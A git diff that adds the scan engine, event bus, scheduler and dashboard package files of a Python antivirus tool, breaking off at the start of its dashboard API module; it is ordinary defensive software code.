a/ayn-antivirus/ayn_antivirus/core/__init__.py b/ayn-antivirus/ayn_antivirus/core/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/core/engine.py b/ayn-antivirus/ayn_antivirus/core/engine.py new file mode 100644 index 0000000..1543607 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/core/engine.py @@ -0,0 +1,917 @@ +"""Core scan engine for AYN Antivirus. + +Orchestrates file-system, process, and network scanning by delegating to +pluggable detectors (hash lookup, YARA, heuristic) and emitting events via +the :pymod:`event_bus`. +""" + +from __future__ import annotations + +import logging +import os +import time +import uuid +from concurrent.futures import ThreadPoolExecutor, as_completed +from dataclasses import dataclass, field +from datetime import datetime +from enum import Enum, auto +from pathlib import Path +from typing import Any, Callable, Dict, List, Optional, Protocol + +from ayn_antivirus.config import Config +from ayn_antivirus.core.event_bus import EventType, event_bus +from ayn_antivirus.utils.helpers import hash_file as _hash_file_util + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Enums +# --------------------------------------------------------------------------- + + +class ThreatType(Enum): + """Classification of a detected threat.""" + + VIRUS = auto() + MALWARE = auto() + SPYWARE = auto() + MINER = auto() + ROOTKIT = auto() + + +class Severity(Enum): + """Threat severity level, ordered low → critical.""" + + LOW = 1 + MEDIUM = 2 + HIGH = 3 + CRITICAL = 4 + + +class ScanType(Enum): + """Kind of scan that was executed.""" + + FULL = "full" + QUICK = "quick" + DEEP = "deep" + SINGLE_FILE = "single_file" + TARGETED = "targeted" + + +# --------------------------------------------------------------------------- +# Data classes +# --------------------------------------------------------------------------- + + +@dataclass +class ThreatInfo: + """A single threat detected during a file scan.""" + + path: str + threat_name: str + threat_type: ThreatType + severity: Severity + detector_name: str + details: str = "" + timestamp: datetime = field(default_factory=datetime.utcnow) + file_hash: str = "" + + +@dataclass +class FileScanResult: + """Result of scanning a single file.""" + + path: str + scanned: bool = True + file_hash: str = "" + size: int = 0 + threats: List[ThreatInfo] = field(default_factory=list) + error: Optional[str] = None + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 and self.error is None + + +@dataclass +class ProcessThreat: + """A suspicious process discovered at runtime.""" + + pid: int + name: str + cmdline: str + cpu_percent: float + memory_percent: float + threat_type: ThreatType + severity: Severity + details: str = "" + + +@dataclass +class NetworkThreat: + """A suspicious network connection.""" + + local_addr: str + remote_addr: str + pid: Optional[int] + process_name: str + threat_type: ThreatType + severity: Severity + details: str = "" + + +@dataclass +class ScanResult: + """Aggregated result of a path / multi-file scan.""" + + scan_id: str = field(default_factory=lambda: uuid.uuid4().hex[:12]) + start_time: datetime = field(default_factory=datetime.utcnow) + end_time: Optional[datetime] = None + files_scanned: int = 0 + files_skipped: int = 0 + threats: List[ThreatInfo] = field(default_factory=list) + scan_path: str = "" + scan_type: ScanType = ScanType.FULL + + @property + def duration_seconds(self) -> float: + if self.end_time is None: + return 0.0 + return (self.end_time - self.start_time).total_seconds() + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + +@dataclass +class ProcessScanResult: + """Aggregated result of a process scan.""" + + processes_scanned: int = 0 + threats: List[ProcessThreat] = field(default_factory=list) + scan_duration: float = 0.0 + + @property + def total_processes(self) -> int: + """Alias for processes_scanned (backward compat).""" + return self.processes_scanned + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + +@dataclass +class NetworkScanResult: + """Aggregated result of a network scan.""" + + connections_scanned: int = 0 + threats: List[NetworkThreat] = field(default_factory=list) + scan_duration: float = 0.0 + + @property + def total_connections(self) -> int: + """Alias for connections_scanned (backward compat).""" + return self.connections_scanned + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + +@dataclass +class FullScanResult: + """Combined results from a full scan (files + processes + network + containers).""" + + file_scan: ScanResult = field(default_factory=ScanResult) + process_scan: ProcessScanResult = field(default_factory=ProcessScanResult) + network_scan: NetworkScanResult = field(default_factory=NetworkScanResult) + container_scan: Any = None # Optional[ContainerScanResult] + + @property + def total_threats(self) -> int: + count = ( + len(self.file_scan.threats) + + len(self.process_scan.threats) + + len(self.network_scan.threats) + ) + if self.container_scan is not None: + count += len(self.container_scan.threats) + return count + + @property + def is_clean(self) -> bool: + return self.total_threats == 0 + + +# --------------------------------------------------------------------------- +# Detector protocol (for type hints & documentation) +# --------------------------------------------------------------------------- + + +class _Detector(Protocol): + """Any object with a ``detect()`` method matching the BaseDetector API.""" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> list: ... + + +# --------------------------------------------------------------------------- +# Helper: file hashing +# --------------------------------------------------------------------------- + +def _hash_file(filepath: Path, algo: str = "sha256") -> str: + """Return the hex digest of *filepath*. + + Delegates to :func:`ayn_antivirus.utils.helpers.hash_file`. + """ + return _hash_file_util(filepath, algo) + + +# --------------------------------------------------------------------------- +# Detector result → engine dataclass mapping +# --------------------------------------------------------------------------- + +_THREAT_TYPE_MAP = { + "VIRUS": ThreatType.VIRUS, + "MALWARE": ThreatType.MALWARE, + "SPYWARE": ThreatType.SPYWARE, + "MINER": ThreatType.MINER, + "ROOTKIT": ThreatType.ROOTKIT, + "HEURISTIC": ThreatType.MALWARE, +} + +_SEVERITY_MAP = { + "CRITICAL": Severity.CRITICAL, + "HIGH": Severity.HIGH, + "MEDIUM": Severity.MEDIUM, + "LOW": Severity.LOW, +} + + +def _map_threat_type(raw: str) -> ThreatType: + """Convert a detector's threat-type string to :class:`ThreatType`.""" + return _THREAT_TYPE_MAP.get(raw.upper(), ThreatType.MALWARE) + + +def _map_severity(raw: str) -> Severity: + """Convert a detector's severity string to :class:`Severity`.""" + return _SEVERITY_MAP.get(raw.upper(), Severity.MEDIUM) + + +# --------------------------------------------------------------------------- +# Quick-scan target directories +# --------------------------------------------------------------------------- + +QUICK_SCAN_PATHS = [ + "/tmp", + "/var/tmp", + "/dev/shm", + "/usr/local/bin", + "/var/spool/cron", + "/etc/cron.d", + "/etc/cron.daily", + "/etc/crontab", + "/var/www", + "/srv", +] + + +# --------------------------------------------------------------------------- +# ScanEngine +# --------------------------------------------------------------------------- + +class ScanEngine: + """Central orchestrator for all AYN scanning activities. + + The engine walks the file system, delegates to pluggable detectors, tracks + statistics, and publishes events on the global :pydata:`event_bus`. + + Parameters + ---------- + config: + Application configuration instance. + max_workers: + Thread pool size for parallel file scanning. Defaults to + ``min(os.cpu_count(), 8)``. + """ + + def __init__(self, config: Config, max_workers: int | None = None) -> None: + self.config = config + self.max_workers = max_workers or min(os.cpu_count() or 4, 8) + + # Detector registry — populated by external plug-ins via register_detector(). + # Each detector is a callable: (filepath: Path, cfg: Config) -> List[ThreatInfo] + self._detectors: List[_Detector] = [] + + self._init_builtin_detectors() + + # ------------------------------------------------------------------ + # Detector registration + # ------------------------------------------------------------------ + + def register_detector(self, detector: _Detector) -> None: + """Add a detector to the scanning pipeline.""" + self._detectors.append(detector) + + def _init_builtin_detectors(self) -> None: + """Register all built-in detection engines.""" + from ayn_antivirus.detectors.signature_detector import SignatureDetector + from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector + from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector + from ayn_antivirus.detectors.spyware_detector import SpywareDetector + from ayn_antivirus.detectors.rootkit_detector import RootkitDetector + + try: + sig_det = SignatureDetector(db_path=self.config.db_path) + self.register_detector(sig_det) + except Exception as e: + logger.warning("Failed to load SignatureDetector: %s", e) + + try: + self.register_detector(HeuristicDetector()) + except Exception as e: + logger.warning("Failed to load HeuristicDetector: %s", e) + + try: + self.register_detector(CryptominerDetector()) + except Exception as e: + logger.warning("Failed to load CryptominerDetector: %s", e) + + try: + self.register_detector(SpywareDetector()) + except Exception as e: + logger.warning("Failed to load SpywareDetector: %s", e) + + try: + self.register_detector(RootkitDetector()) + except Exception as e: + logger.warning("Failed to load RootkitDetector: %s", e) + + if self.config.enable_yara: + try: + from ayn_antivirus.detectors.yara_detector import YaraDetector + yara_det = YaraDetector() + self.register_detector(yara_det) + except Exception as e: + logger.debug("YARA detector not available: %s", e) + + logger.info("Registered %d detectors", len(self._detectors)) + + # ------------------------------------------------------------------ + # File scanning + # ------------------------------------------------------------------ + + def scan_file(self, filepath: str | Path) -> FileScanResult: + """Scan a single file through every registered detector. + + Parameters + ---------- + filepath: + Absolute or relative path to the file. + + Returns + ------- + FileScanResult + """ + filepath = Path(filepath) + result = FileScanResult(path=str(filepath)) + + if not filepath.is_file(): + result.scanned = False + result.error = "Not a file or does not exist" + return result + + try: + stat = filepath.stat() + except OSError as exc: + result.scanned = False + result.error = str(exc) + return result + + result.size = stat.st_size + + if result.size > self.config.max_file_size: + result.scanned = False + result.error = f"File exceeds max size ({result.size} > {self.config.max_file_size})" + return result + + # Hash the file — needed by hash-based detectors and for recording. + try: + result.file_hash = _hash_file(filepath) + except OSError as exc: + result.scanned = False + result.error = f"Cannot read file: {exc}" + return result + + # Enrich with FileScanner metadata (type classification). + try: + from ayn_antivirus.scanners.file_scanner import FileScanner + file_scanner = FileScanner(max_file_size=self.config.max_file_size) + file_info = file_scanner.scan(str(filepath)) + result._file_info = file_info # type: ignore[attr-defined] + except Exception: + logger.debug("FileScanner enrichment skipped for %s", filepath) + + # Run every registered detector. + for detector in self._detectors: + try: + detections = detector.detect(filepath, file_hash=result.file_hash) + for d in detections: + threat = ThreatInfo( + path=str(filepath), + threat_name=d.threat_name, + threat_type=_map_threat_type(d.threat_type), + severity=_map_severity(d.severity), + detector_name=d.detector_name, + details=d.details, + file_hash=result.file_hash, + ) + result.threats.append(threat) + except Exception: + logger.exception("Detector %r failed on %s", detector, filepath) + + # Publish per-file events. + event_bus.publish(EventType.FILE_SCANNED, result) + if result.threats: + for threat in result.threats: + event_bus.publish(EventType.THREAT_FOUND, threat) + + return result + + # ------------------------------------------------------------------ + # Path scanning (recursive) + # ------------------------------------------------------------------ + + def scan_path( + self, + path: str | Path, + recursive: bool = True, + quick: bool = False, + callback: Optional[Callable[[FileScanResult], None]] = None, + ) -> ScanResult: + """Walk *path* and scan every eligible file. + + Parameters + ---------- + path: + Root directory (or single file) to scan. + recursive: + Descend into subdirectories. + quick: + If ``True``, only scan :pydata:`QUICK_SCAN_PATHS` that exist + under *path* (or the quick-scan list itself when *path* is ``/``). + callback: + Optional function called after each file is scanned — useful for + progress reporting. + + Returns + ------- + ScanResult + """ + scan_type = ScanType.QUICK if quick else ScanType.FULL + result = ScanResult( + scan_path=str(path), + scan_type=scan_type, + start_time=datetime.utcnow(), + ) + + event_bus.publish(EventType.SCAN_STARTED, { + "scan_id": result.scan_id, + "scan_type": scan_type.value, + "path": str(path), + }) + + # Collect files to scan. + files = self._collect_files(Path(path), recursive=recursive, quick=quick) + + # Parallel scan. + with ThreadPoolExecutor(max_workers=self.max_workers) as pool: + futures = {pool.submit(self.scan_file, fp): fp for fp in files} + for future in as_completed(futures): + try: + file_result = future.result() + except Exception: + result.files_skipped += 1 + logger.exception("Unhandled error scanning %s", futures[future]) + continue + + if file_result.scanned: + result.files_scanned += 1 + else: + result.files_skipped += 1 + + result.threats.extend(file_result.threats) + + if callback is not None: + try: + callback(file_result) + except Exception: + logger.exception("Scan callback raised an exception") + + result.end_time = datetime.utcnow() + + event_bus.publish(EventType.SCAN_COMPLETED, { + "scan_id": result.scan_id, + "files_scanned": result.files_scanned, + "threats": len(result.threats), + "duration": result.duration_seconds, + }) + + return result + + # ------------------------------------------------------------------ + # Process scanning + # ------------------------------------------------------------------ + + def scan_processes(self) -> ProcessScanResult: + """Inspect all running processes for known miners and anomalies. + + Delegates to :class:`~ayn_antivirus.scanners.process_scanner.ProcessScanner` + for detection and converts results to engine dataclasses. + + Returns + ------- + ProcessScanResult + """ + from ayn_antivirus.scanners.process_scanner import ProcessScanner + + result = ProcessScanResult() + start = time.monotonic() + + proc_scanner = ProcessScanner() + scan_data = proc_scanner.scan() + + result.processes_scanned = scan_data.get("total", 0) + + # Known miner matches. + for s in scan_data.get("suspicious", []): + threat = ProcessThreat( + pid=s["pid"], + name=s.get("name", ""), + cmdline=" ".join(s.get("cmdline") or []), + cpu_percent=s.get("cpu_percent", 0.0), + memory_percent=0.0, + threat_type=ThreatType.MINER, + severity=Severity.CRITICAL, + details=s.get("reason", "Known miner process"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # High-CPU anomalies (skip duplicates already caught as miners). + miner_pids = {t.pid for t in result.threats} + for h in scan_data.get("high_cpu", []): + if h["pid"] in miner_pids: + continue + threat = ProcessThreat( + pid=h["pid"], + name=h.get("name", ""), + cmdline=" ".join(h.get("cmdline") or []), + cpu_percent=h.get("cpu_percent", 0.0), + memory_percent=0.0, + threat_type=ThreatType.MINER, + severity=Severity.HIGH, + details=h.get("reason", "Abnormally high CPU usage"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Hidden processes (possible rootkit). + for hp in scan_data.get("hidden", []): + threat = ProcessThreat( + pid=hp["pid"], + name=hp.get("name", ""), + cmdline=hp.get("cmdline", ""), + cpu_percent=0.0, + memory_percent=0.0, + threat_type=ThreatType.ROOTKIT, + severity=Severity.CRITICAL, + details=hp.get("reason", "Hidden process"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Optional memory scan for suspicious PIDs. + try: + from ayn_antivirus.scanners.memory_scanner import MemoryScanner + mem_scanner = MemoryScanner() + suspicious_pids = {t.pid for t in result.threats} + for pid in suspicious_pids: + try: + mem_result = mem_scanner.scan(pid) + rwx_regions = mem_result.get("rwx_regions") or [] + if rwx_regions: + result.threats.append(ProcessThreat( + pid=pid, + name="", + cmdline="", + cpu_percent=0.0, + memory_percent=0.0, + threat_type=ThreatType.ROOTKIT, + severity=Severity.HIGH, + details=( + f"Injected code detected in PID {pid}: " + f"{len(rwx_regions)} RWX region(s)" + ), + )) + except Exception: + pass # Memory scan for individual PID is best-effort + except Exception as exc: + logger.debug("Memory scan skipped: %s", exc) + + result.scan_duration = time.monotonic() - start + return result + + # ------------------------------------------------------------------ + # Network scanning + # ------------------------------------------------------------------ + + def scan_network(self) -> NetworkScanResult: + """Scan active network connections for mining pool traffic. + + Delegates to :class:`~ayn_antivirus.scanners.network_scanner.NetworkScanner` + for detection and converts results to engine dataclasses. + + Returns + ------- + NetworkScanResult + """ + from ayn_antivirus.scanners.network_scanner import NetworkScanner + + result = NetworkScanResult() + start = time.monotonic() + + net_scanner = NetworkScanner() + scan_data = net_scanner.scan() + + result.connections_scanned = scan_data.get("total", 0) + + # Suspicious connections (mining pools, suspicious ports). + for s in scan_data.get("suspicious", []): + sev = _map_severity(s.get("severity", "HIGH")) + threat = NetworkThreat( + local_addr=s.get("local_addr", "?"), + remote_addr=s.get("remote_addr", "?"), + pid=s.get("pid"), + process_name=(s.get("process", {}) or {}).get("name", ""), + threat_type=ThreatType.MINER, + severity=sev, + details=s.get("reason", "Suspicious connection"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Unexpected listening ports. + for lp in scan_data.get("unexpected_listeners", []): + threat = NetworkThreat( + local_addr=lp.get("local_addr", f"?:{lp.get('port', '?')}"), + remote_addr="", + pid=lp.get("pid"), + process_name=lp.get("process_name", ""), + threat_type=ThreatType.MALWARE, + severity=_map_severity(lp.get("severity", "MEDIUM")), + details=lp.get("reason", "Unexpected listener"), + ) + result.threats.append(threat) + event_bus.publish(EventType.THREAT_FOUND, threat) + + # Enrich with IOC database lookups — flag connections to known-bad IPs. + try: + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + ioc_db = IOCDatabase(self.config.db_path) + ioc_db.initialize() + malicious_ips = ioc_db.get_all_malicious_ips() + + if malicious_ips: + import psutil as _psutil + already_flagged = { + t.remote_addr for t in result.threats + } + try: + for conn in _psutil.net_connections(kind="inet"): + if not conn.raddr: + continue + remote_ip = conn.raddr.ip + remote_str = f"{remote_ip}:{conn.raddr.port}" + if remote_ip in malicious_ips and remote_str not in already_flagged: + ioc_info = ioc_db.lookup_ip(remote_ip) or {} + result.threats.append(NetworkThreat( + local_addr=( + f"{conn.laddr.ip}:{conn.laddr.port}" + if conn.laddr else "" + ), + remote_addr=remote_str, + pid=conn.pid or 0, + process_name=self._get_proc_name(conn.pid), + threat_type=ThreatType.MALWARE, + severity=Severity.CRITICAL, + details=( + f"Connection to known malicious IP {remote_ip} " + f"(threat: {ioc_info.get('threat_name', 'IOC match')})" + ), + )) + except (_psutil.AccessDenied, OSError): + pass + + ioc_db.close() + except Exception as exc: + logger.debug("IOC network enrichment skipped: %s", exc) + + result.scan_duration = time.monotonic() - start + return result + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + @staticmethod + def _get_proc_name(pid: int) -> str: + """Best-effort process name lookup for a PID.""" + if not pid: + return "" + try: + import psutil as _ps + return _ps.Process(pid).name() + except Exception: + return "" + + # ------------------------------------------------------------------ + # Container scanning + # ------------------------------------------------------------------ + + def scan_containers( + self, + runtime: str = "all", + container_id: Optional[str] = None, + ): + """Scan containers for threats. + + Parameters + ---------- + runtime: + Container runtime to target (``"all"``, ``"docker"``, + ``"podman"``, ``"lxc"``). + container_id: + If provided, scan only this specific container. + + Returns + ------- + ContainerScanResult + """ + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + if container_id: + return scanner.scan_container(container_id) + return scanner.scan(runtime) + + # ------------------------------------------------------------------ + # Composite scans + # ------------------------------------------------------------------ + + def full_scan( + self, + callback: Optional[Callable[[FileScanResult], None]] = None, + ) -> FullScanResult: + """Run a complete scan: files, processes, and network. + + Parameters + ---------- + callback: + Optional per-file progress callback. + + Returns + ------- + FullScanResult + """ + full = FullScanResult() + + # File scan across all configured paths. + aggregate = ScanResult(scan_type=ScanType.FULL, start_time=datetime.utcnow()) + for scan_path in self.config.scan_paths: + partial = self.scan_path(scan_path, recursive=True, quick=False, callback=callback) + aggregate.files_scanned += partial.files_scanned + aggregate.files_skipped += partial.files_skipped + aggregate.threats.extend(partial.threats) + aggregate.end_time = datetime.utcnow() + full.file_scan = aggregate + + # Process + network. + full.process_scan = self.scan_processes() + full.network_scan = self.scan_network() + + # Containers (best-effort — skipped if no runtimes available). + try: + container_result = self.scan_containers() + if container_result.containers_found > 0: + full.container_scan = container_result + except Exception: + logger.debug("Container scanning skipped", exc_info=True) + + return full + + def quick_scan( + self, + callback: Optional[Callable[[FileScanResult], None]] = None, + ) -> ScanResult: + """Scan only high-risk directories. + + Targets :pydata:`QUICK_SCAN_PATHS` and any additional web roots + or crontab locations. + + Returns + ------- + ScanResult + """ + aggregate = ScanResult(scan_type=ScanType.QUICK, start_time=datetime.utcnow()) + + event_bus.publish(EventType.SCAN_STARTED, { + "scan_id": aggregate.scan_id, + "scan_type": "quick", + "paths": QUICK_SCAN_PATHS, + }) + + for scan_path in QUICK_SCAN_PATHS: + p = Path(scan_path) + if not p.exists(): + continue + partial = self.scan_path(scan_path, recursive=True, quick=False, callback=callback) + aggregate.files_scanned += partial.files_scanned + aggregate.files_skipped += partial.files_skipped + aggregate.threats.extend(partial.threats) + + aggregate.end_time = datetime.utcnow() + + event_bus.publish(EventType.SCAN_COMPLETED, { + "scan_id": aggregate.scan_id, + "files_scanned": aggregate.files_scanned, + "threats": len(aggregate.threats), + "duration": aggregate.duration_seconds, + }) + + return aggregate + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + def _collect_files( + self, + root: Path, + recursive: bool = True, + quick: bool = False, + ) -> List[Path]: + """Walk *root* and return a list of scannable file paths. + + Respects ``config.exclude_paths`` and ``config.max_file_size``. + """ + targets: List[Path] = [] + + if quick: + # In quick mode, only descend into known-risky subdirectories. + roots = [ + root / rel + for rel in ( + "tmp", "var/tmp", "dev/shm", "usr/local/bin", + "var/spool/cron", "etc/cron.d", "etc/cron.daily", + "var/www", "srv", + ) + if (root / rel).exists() + ] + # Also include the quick-scan list itself if root is /. + if str(root) == "/": + roots = [Path(p) for p in QUICK_SCAN_PATHS if Path(p).exists()] + else: + roots = [root] + + exclude = set(self.config.exclude_paths) + + for r in roots: + if r.is_file(): + targets.append(r) + continue + iterator = r.rglob("*") if recursive else r.iterdir() + try: + for entry in iterator: + if not entry.is_file(): + continue + # Exclude check. + entry_str = str(entry) + if any(entry_str.startswith(ex) for ex in exclude): + continue + try: + if entry.stat().st_size > self.config.max_file_size: + continue + except OSError: + continue + targets.append(entry) + except PermissionError: + logger.warning("Permission denied: %s", r) + + return targets diff --git a/ayn-antivirus/ayn_antivirus/core/event_bus.py b/ayn-antivirus/ayn_antivirus/core/event_bus.py new file mode 100644 index 0000000..a1302b5 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/core/event_bus.py @@ -0,0 +1,119 @@ +"""Simple publish/subscribe event bus for AYN Antivirus. + +Decouples the scan engine from consumers like the CLI, logger, quarantine +manager, and real-time monitor so each component can react to events +independently. +""" + +from __future__ import annotations + +import logging +import threading +from enum import Enum, auto +from typing import Any, Callable, Dict, List + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Event types +# --------------------------------------------------------------------------- +class EventType(Enum): + """All events emitted by the AYN engine.""" + + THREAT_FOUND = auto() + SCAN_STARTED = auto() + SCAN_COMPLETED = auto() + FILE_SCANNED = auto() + SIGNATURE_UPDATED = auto() + QUARANTINE_ACTION = auto() + REMEDIATION_ACTION = auto() + DASHBOARD_METRIC = auto() + + +# Type alias for subscriber callbacks. +Callback = Callable[[EventType, Any], None] + + +# --------------------------------------------------------------------------- +# EventBus +# --------------------------------------------------------------------------- +class EventBus: + """Thread-safe publish/subscribe event bus. + + Usage:: + + bus = EventBus() + bus.subscribe(EventType.THREAT_FOUND, lambda et, data: print(data)) + bus.publish(EventType.THREAT_FOUND, {"path": "/tmp/evil.elf"}) + """ + + def __init__(self) -> None: + self._subscribers: Dict[EventType, List[Callback]] = {et: [] for et in EventType} + self._lock = threading.Lock() + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + def subscribe(self, event_type: EventType, callback: Callback) -> None: + """Register *callback* to be invoked whenever *event_type* is published. + + Parameters + ---------- + event_type: + The event to listen for. + callback: + A callable with signature ``(event_type, data) -> None``. + """ + with self._lock: + if callback not in self._subscribers[event_type]: + self._subscribers[event_type].append(callback) + + def unsubscribe(self, event_type: EventType, callback: Callback) -> None: + """Remove a previously-registered callback.""" + with self._lock: + try: + self._subscribers[event_type].remove(callback) + except ValueError: + pass + + def publish(self, event_type: EventType, data: Any = None) -> None: + """Emit an event, invoking all registered callbacks synchronously. + + Exceptions raised by individual callbacks are logged and swallowed so + that one faulty subscriber cannot break the pipeline. + + Parameters + ---------- + event_type: + The event being emitted. + data: + Arbitrary payload — typically a dataclass or dict. + """ + with self._lock: + callbacks = list(self._subscribers[event_type]) + + for cb in callbacks: + try: + cb(event_type, data) + except Exception: + logger.exception( + "Subscriber %r raised an exception for event %s", + cb, + event_type.name, + ) + + def clear(self, event_type: EventType | None = None) -> None: + """Remove all subscribers for *event_type*, or all subscribers if ``None``.""" + with self._lock: + if event_type is None: + for et in EventType: + self._subscribers[et].clear() + else: + self._subscribers[event_type].clear() + + +# --------------------------------------------------------------------------- +# Module-level singleton +# --------------------------------------------------------------------------- +event_bus = EventBus() diff --git a/ayn-antivirus/ayn_antivirus/core/scheduler.py b/ayn-antivirus/ayn_antivirus/core/scheduler.py new file mode 100644 index 0000000..15cce61 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/core/scheduler.py @@ -0,0 +1,215 @@ +"""Scheduler for recurring scans and signature updates. + +Wraps the ``schedule`` library to provide cron-like recurring tasks that +drive the :class:`ScanEngine` and signature updater in a long-running +daemon loop. +""" + +from __future__ import annotations + +import logging +import time +from typing import Optional + +import schedule + +from ayn_antivirus.config import Config +from ayn_antivirus.core.engine import ScanEngine, ScanResult +from ayn_antivirus.core.event_bus import EventType, event_bus + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Cron expression helpers +# --------------------------------------------------------------------------- + +def _parse_cron_field(field: str, min_val: int, max_val: int) -> list[int]: + """Parse a single cron field (e.g. ``*/5``, ``1,3,5``, ``0-23``, ``*``). + + Returns a sorted list of matching integer values. + """ + values: set[int] = set() + + for part in field.split(","): + part = part.strip() + + # */step + if part.startswith("*/"): + step = int(part[2:]) + values.update(range(min_val, max_val + 1, step)) + # range with optional step (e.g. 1-5 or 1-5/2) + elif "-" in part: + range_part, _, step_part = part.partition("/") + lo, hi = range_part.split("-", 1) + step = int(step_part) if step_part else 1 + values.update(range(int(lo), int(hi) + 1, step)) + # wildcard + elif part == "*": + values.update(range(min_val, max_val + 1)) + # literal + else: + values.add(int(part)) + + return sorted(values) + + +def _cron_to_schedule(cron_expr: str) -> dict: + """Convert a 5-field cron expression into components. + + Returns a dict with keys ``minutes``, ``hours``, ``days``, ``months``, + ``weekdays`` — each a list of integers. + + Only *minute* and *hour* are used by the ``schedule`` library adapter + below; the rest are validated but not fully honoured (``schedule`` lacks + calendar-level granularity). + """ + parts = cron_expr.strip().split() + if len(parts) != 5: + raise ValueError(f"Expected 5-field cron expression, got: {cron_expr!r}") + + return { + "minutes": _parse_cron_field(parts[0], 0, 59), + "hours": _parse_cron_field(parts[1], 0, 23), + "days": _parse_cron_field(parts[2], 1, 31), + "months": _parse_cron_field(parts[3], 1, 12), + "weekdays": _parse_cron_field(parts[4], 0, 6), + } + + +# --------------------------------------------------------------------------- +# Scheduler +# --------------------------------------------------------------------------- + +class Scheduler: + """Manages recurring scan and update jobs. + + Parameters + ---------- + config: + Application configuration — used to build a :class:`ScanEngine` and + read schedule expressions. + engine: + Optional pre-built engine instance. If ``None``, one is created from + *config*. + """ + + def __init__(self, config: Config, engine: Optional[ScanEngine] = None) -> None: + self.config = config + self.engine = engine or ScanEngine(config) + self._scheduler = schedule.Scheduler() + + # ------------------------------------------------------------------ + # Job builders + # ------------------------------------------------------------------ + + def schedule_scan(self, cron_expr: str, scan_type: str = "full") -> None: + """Schedule a recurring scan using a cron expression. + + Parameters + ---------- + cron_expr: + Standard 5-field cron string (``minute hour dom month dow``). + scan_type: + One of ``"full"``, ``"quick"``, or ``"deep"``. + """ + parsed = _cron_to_schedule(cron_expr) + + # ``schedule`` doesn't natively support cron, so we approximate by + # scheduling at every matching hour:minute combination. For simple + # expressions like ``0 2 * * *`` this is exact. + for hour in parsed["hours"]: + for minute in parsed["minutes"]: + time_str = f"{hour:02d}:{minute:02d}" + self._scheduler.every().day.at(time_str).do( + self._run_scan, scan_type=scan_type + ) + logger.info("Scheduled %s scan at %s daily", scan_type, time_str) + + def schedule_update(self, interval_hours: int = 6) -> None: + """Schedule recurring signature updates. + + Parameters + ---------- + interval_hours: + How often (in hours) to pull fresh signatures. + """ + self._scheduler.every(interval_hours).hours.do(self._run_update) + logger.info("Scheduled signature update every %d hour(s)", interval_hours) + + # ------------------------------------------------------------------ + # Daemon loop + # ------------------------------------------------------------------ + + def run_daemon(self) -> None: + """Start the blocking scheduler loop. + + Runs all pending jobs and sleeps between iterations. Designed to be + the main loop of a background daemon process. + + Press ``Ctrl+C`` (or send ``SIGINT``) to exit cleanly. + """ + logger.info("AYN scheduler daemon started — %d job(s)", len(self._scheduler.get_jobs())) + + try: + while True: + self._scheduler.run_pending() + time.sleep(30) + except KeyboardInterrupt: + logger.info("Scheduler daemon stopped by user") + + # ------------------------------------------------------------------ + # Job implementations + # ------------------------------------------------------------------ + + def _run_scan(self, scan_type: str = "full") -> None: + """Execute a scan job.""" + logger.info("Starting scheduled %s scan", scan_type) + try: + if scan_type == "quick": + result: ScanResult = self.engine.quick_scan() + else: + # "full" and "deep" both scan all paths; deep adds process/network + # via full_scan on the engine, but here we keep it simple. + result = ScanResult() + for path in self.config.scan_paths: + partial = self.engine.scan_path(path, recursive=True) + result.files_scanned += partial.files_scanned + result.files_skipped += partial.files_skipped + result.threats.extend(partial.threats) + + logger.info( + "Scheduled %s scan complete — %d files, %d threats", + scan_type, + result.files_scanned, + len(result.threats), + ) + except Exception: + logger.exception("Scheduled %s scan failed", scan_type) + + def _run_update(self) -> None: + """Execute a signature update job.""" + logger.info("Starting scheduled signature update") + try: + from ayn_antivirus.signatures.manager import SignatureManager + + manager = SignatureManager(self.config) + summary = manager.update_all() + total = summary.get("total_new", 0) + errors = summary.get("errors", []) + logger.info( + "Scheduled signature update complete: %d new, %d errors", + total, + len(errors), + ) + if errors: + for err in errors: + logger.warning("Feed error: %s", err) + manager.close() + event_bus.publish(EventType.SIGNATURE_UPDATED, { + "total_new": total, + "feeds": list(summary.get("feeds", {}).keys()), + "errors": errors, + }) + except Exception: + logger.exception("Scheduled signature update failed") diff --git a/ayn-antivirus/ayn_antivirus/dashboard/__init__.py b/ayn-antivirus/ayn_antivirus/dashboard/__init__.py new file mode 100644 index 0000000..1f58d0a --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/__init__.py @@ -0,0 +1,7 @@ +"""AYN Antivirus - Live Web Dashboard.""" + +from ayn_antivirus.dashboard.collector import MetricsCollector +from ayn_antivirus.dashboard.server import DashboardServer +from ayn_antivirus.dashboard.store import DashboardStore + +__all__ = ["DashboardServer", "DashboardStore", "MetricsCollector"] diff --git a/ayn-antivirus/ayn_antivirus/dashboard/api.py b/ayn-antivirus/ayn_antivirus/dashboard/api.py new file mode 100644 index 0000000..2e80ec5 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/api.py @@ -0,0 +1,1159 @@ +"""AYN Antivirus Dashboard — REST API Handlers.""" + +from __future__ import annotations + +import asyncio +import json +import logging +import platform +import time +from datetime import datetime + +from aiohttp import web + +logger = logging.getLogger("ayn_antivirus.dashboard.api") + + +def 